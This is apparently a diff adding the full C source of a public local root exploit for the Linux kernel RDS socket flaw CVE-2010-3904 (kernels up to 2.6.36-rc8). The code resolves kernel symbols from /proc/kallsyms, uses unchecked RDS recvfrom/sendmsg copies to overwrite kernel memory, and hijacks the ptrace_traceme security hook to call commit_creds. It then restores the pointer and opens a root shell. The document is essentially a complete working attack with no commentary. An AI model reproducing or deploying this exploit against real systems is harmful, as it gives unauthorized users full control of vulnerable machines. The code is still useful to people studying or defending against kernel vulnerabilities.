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| 1 | +// source: http://www.vsecurity.com/resources/advisory/20101019-1/ |
| 2 | + |
| 3 | +/* |
| 4 | + * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit |
| 5 | + * CVE-2010-3904 |
| 6 | + * by Dan Rosenberg < [email protected]> |
| 7 | + * |
| 8 | + * Copyright 2010 Virtual Security Research, LLC |
| 9 | + * |
| 10 | + * The handling functions for sending and receiving RDS messages |
| 11 | + * use unchecked __copy_*_user_inatomic functions without any |
| 12 | + * access checks on user-provided pointers. As a result, by |
| 13 | + * passing a kernel address as an iovec base address in recvmsg-style |
| 14 | + * calls, a local user can overwrite arbitrary kernel memory, which |
| 15 | + * can easily be used to escalate privileges to root. Alternatively, |
| 16 | + * an arbitrary kernel read can be performed via sendmsg calls. |
| 17 | + * |
| 18 | + * This exploit is simple - it resolves a few kernel symbols, |
| 19 | + * sets the security_ops to the default structure, then overwrites |
| 20 | + * a function pointer (ptrace_traceme) in that structure to point |
| 21 | + * to the payload. After triggering the payload, the original |
| 22 | + * value is restored. Hard-coding the offset of this function |
| 23 | + * pointer is a bit inelegant, but I wanted to keep it simple and |
| 24 | + * architecture-independent (i.e. no inline assembly). |
| 25 | + * |
| 26 | + * The vulnerability is yet another example of why you shouldn't |
| 27 | + * allow loading of random packet families unless you actually |
| 28 | + * need them. |
| 29 | + * |
| 30 | + * Greets to spender, kees, taviso, hawkes, team lollerskaters, |
| 31 | + * joberheide, bla, sts, and VSR |
| 32 | + * |
| 33 | + */ |
| 34 | + |
| 35 | + |
| 36 | +#include <stdio.h> |
| 37 | +#include <unistd.h> |
| 38 | +#include <stdlib.h> |
| 39 | +#include <fcntl.h> |
| 40 | +#include <sys/types.h> |
| 41 | +#include <sys/socket.h> |
| 42 | +#include <netinet/in.h> |
| 43 | +#include <errno.h> |
| 44 | +#include <string.h> |
| 45 | +#include <sys/ptrace.h> |
| 46 | +#include <sys/utsname.h> |
| 47 | + |
| 48 | +#define RECVPORT 5555 |
| 49 | +#define SENDPORT 6666 |
| 50 | + |
| 51 | +int prep_sock(int port) |
| 52 | +{ |
| 53 | + |
| 54 | + int s, ret; |
| 55 | + struct sockaddr_in addr; |
| 56 | + |
| 57 | + s = socket(PF_RDS, SOCK_SEQPACKET, 0); |
| 58 | + |
| 59 | + if(s < 0) { |
| 60 | + printf("[*] Could not open socket.\n"); |
| 61 | + exit(-1); |
| 62 | + } |
| 63 | + |
| 64 | + memset(&addr, 0, sizeof(addr)); |
| 65 | + |
| 66 | + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); |
| 67 | + addr.sin_family = AF_INET; |
| 68 | + addr.sin_port = htons(port); |
| 69 | + |
| 70 | + ret = bind(s, (struct sockaddr *)&addr, sizeof(addr)); |
| 71 | + |
| 72 | + if(ret < 0) { |
| 73 | + printf("[*] Could not bind socket.\n"); |
| 74 | + exit(-1); |
| 75 | + } |
| 76 | + |
| 77 | + return s; |
| 78 | + |
| 79 | +} |
| 80 | + |
| 81 | +void get_message(unsigned long address, int sock) |
| 82 | +{ |
| 83 | + |
| 84 | + recvfrom(sock, (void *)address, sizeof(void *), 0, |
| 85 | + NULL, NULL); |
| 86 | + |
| 87 | +} |
| 88 | + |
| 89 | +void send_message(unsigned long value, int sock) |
| 90 | +{ |
| 91 | + |
| 92 | + int size, ret; |
| 93 | + struct sockaddr_in recvaddr; |
| 94 | + struct msghdr msg; |
| 95 | + struct iovec iov; |
| 96 | + unsigned long buf; |
| 97 | + |
| 98 | + memset(&recvaddr, 0, sizeof(recvaddr)); |
| 99 | + |
| 100 | + size = sizeof(recvaddr); |
| 101 | + |
| 102 | + recvaddr.sin_port = htons(RECVPORT); |
| 103 | + recvaddr.sin_family = AF_INET; |
| 104 | + recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |
| 105 | + |
| 106 | + memset(&msg, 0, sizeof(msg)); |
| 107 | + |
| 108 | + msg.msg_name = &recvaddr; |
| 109 | + msg.msg_namelen = sizeof(recvaddr); |
| 110 | + msg.msg_iovlen = 1; |
| 111 | + |
| 112 | + buf = value; |
| 113 | + |
| 114 | + iov.iov_len = sizeof(buf); |
| 115 | + iov.iov_base = &buf; |
| 116 | + |
| 117 | + msg.msg_iov = &iov; |
| 118 | + |
| 119 | + ret = sendmsg(sock, &msg, 0); |
| 120 | + if(ret < 0) { |
| 121 | + printf("[*] Something went wrong sending.\n"); |
| 122 | + exit(-1); |
| 123 | + } |
| 124 | +} |
| 125 | + |
| 126 | +void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) |
| 127 | +{ |
| 128 | + |
| 129 | + if(!fork()) { |
| 130 | + sleep(1); |
| 131 | + send_message(value, sendsock); |
| 132 | + exit(1); |
| 133 | + } |
| 134 | + else { |
| 135 | + get_message(addr, recvsock); |
| 136 | + wait(NULL); |
| 137 | + } |
| 138 | + |
| 139 | +} |
| 140 | + |
| 141 | +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); |
| 142 | +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); |
| 143 | +_commit_creds commit_creds; |
| 144 | +_prepare_kernel_cred prepare_kernel_cred; |
| 145 | + |
| 146 | +int __attribute__((regparm(3))) |
| 147 | +getroot(void * file, void * vma) |
| 148 | +{ |
| 149 | + |
| 150 | + commit_creds(prepare_kernel_cred(0)); |
| 151 | + return -1; |
| 152 | + |
| 153 | +} |
| 154 | + |
| 155 | +/* thanks spender... */ |
| 156 | +unsigned long get_kernel_sym(char *name) |
| 157 | +{ |
| 158 | + FILE *f; |
| 159 | + unsigned long addr; |
| 160 | + char dummy; |
| 161 | + char sname[512]; |
| 162 | + struct utsname ver; |
| 163 | + int ret; |
| 164 | + int rep = 0; |
| 165 | + int oldstyle = 0; |
| 166 | + |
| 167 | + f = fopen("/proc/kallsyms", "r"); |
| 168 | + if (f == NULL) { |
| 169 | + f = fopen("/proc/ksyms", "r"); |
| 170 | + if (f == NULL) |
| 171 | + goto fallback; |
| 172 | + oldstyle = 1; |
| 173 | + } |
| 174 | + |
| 175 | +repeat: |
| 176 | + ret = 0; |
| 177 | + while(ret != EOF) { |
| 178 | + if (!oldstyle) |
| 179 | + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); |
| 180 | + else { |
| 181 | + ret = fscanf(f, "%p %s\n", (void **)&addr, sname); |
| 182 | + if (ret == 2) { |
| 183 | + char *p; |
| 184 | + if (strstr(sname, "_O/") || strstr(sname, "_S.")) |
| 185 | + continue; |
| 186 | + p = strrchr(sname, '_'); |
| 187 | + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { |
| 188 | + p = p - 4; |
| 189 | + while (p > (char *)sname && *(p - 1) == '_') |
| 190 | + p--; |
| 191 | + *p = '\0'; |
| 192 | + } |
| 193 | + } |
| 194 | + } |
| 195 | + if (ret == 0) { |
| 196 | + fscanf(f, "%s\n", sname); |
| 197 | + continue; |
| 198 | + } |
| 199 | + if (!strcmp(name, sname)) { |
| 200 | + fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); |
| 201 | + fclose(f); |
| 202 | + return addr; |
| 203 | + } |
| 204 | + } |
| 205 | + |
| 206 | + fclose(f); |
| 207 | + if (rep) |
| 208 | + return 0; |
| 209 | +fallback: |
| 210 | + /* didn't find the symbol, let's retry with the System.map |
| 211 | + dedicated to the pointlessness of Russell Coker's SELinux |
| 212 | + test machine (why does he keep upgrading the kernel if |
| 213 | + "all necessary security can be provided by SE Linux"?) |
| 214 | + */ |
| 215 | + uname(&ver); |
| 216 | + if (strncmp(ver.release, "2.6", 3)) |
| 217 | + oldstyle = 1; |
| 218 | + sprintf(sname, "/boot/System.map-%s", ver.release); |
| 219 | + f = fopen(sname, "r"); |
| 220 | + if (f == NULL) |
| 221 | + return 0; |
| 222 | + rep = 1; |
| 223 | + goto repeat; |
| 224 | +} |
| 225 | + |
| 226 | +int main(int argc, char * argv[]) |
| 227 | +{ |
| 228 | + unsigned long sec_ops, def_ops, cap_ptrace, target; |
| 229 | + int sendsock, recvsock; |
| 230 | + struct utsname ver; |
| 231 | + |
| 232 | + printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); |
| 233 | + printf("[*] by Dan Rosenberg\n"); |
| 234 | + |
| 235 | + uname(&ver); |
| 236 | + |
| 237 | + if(strncmp(ver.release, "2.6.3", 5)) { |
| 238 | + printf("[*] Your kernel is not vulnerable.\n"); |
| 239 | + return -1; |
| 240 | + } |
| 241 | + |
| 242 | + /* Resolve addresses of relevant symbols */ |
| 243 | + printf("[*] Resolving kernel addresses...\n"); |
| 244 | + sec_ops = get_kernel_sym("security_ops"); |
| 245 | + def_ops = get_kernel_sym("default_security_ops"); |
| 246 | + cap_ptrace = get_kernel_sym("cap_ptrace_traceme"); |
| 247 | + commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); |
| 248 | + prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); |
| 249 | + |
| 250 | + if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { |
| 251 | + printf("[*] Failed to resolve kernel symbols.\n"); |
| 252 | + return -1; |
| 253 | + } |
| 254 | + |
| 255 | + /* Calculate target */ |
| 256 | + target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1)); |
| 257 | + |
| 258 | + sendsock = prep_sock(SENDPORT); |
| 259 | + recvsock = prep_sock(RECVPORT); |
| 260 | + |
| 261 | + /* Reset security ops */ |
| 262 | + printf("[*] Overwriting security ops...\n"); |
| 263 | + write_to_mem(sec_ops, def_ops, sendsock, recvsock); |
| 264 | + |
| 265 | + /* Overwrite ptrace_traceme security op fptr */ |
| 266 | + printf("[*] Overwriting function pointer...\n"); |
| 267 | + write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); |
| 268 | + |
| 269 | + /* Trigger the payload */ |
| 270 | + printf("[*] Triggering payload...\n"); |
| 271 | + ptrace(PTRACE_TRACEME, 1, NULL, NULL); |
| 272 | + |
| 273 | + /* Restore the ptrace_traceme security op */ |
| 274 | + printf("[*] Restoring function pointer...\n"); |
| 275 | + write_to_mem(target, cap_ptrace, sendsock, recvsock); |
| 276 | + |
| 277 | + if(getuid()) { |
| 278 | + printf("[*] Exploit failed to get root.\n"); |
| 279 | + return -1; |
| 280 | + } |
| 281 | + |
| 282 | + printf("[*] Got root!\n"); |
| 283 | + execl("/bin/sh", "sh", NULL); |
| 284 | + |
| 285 | +} |
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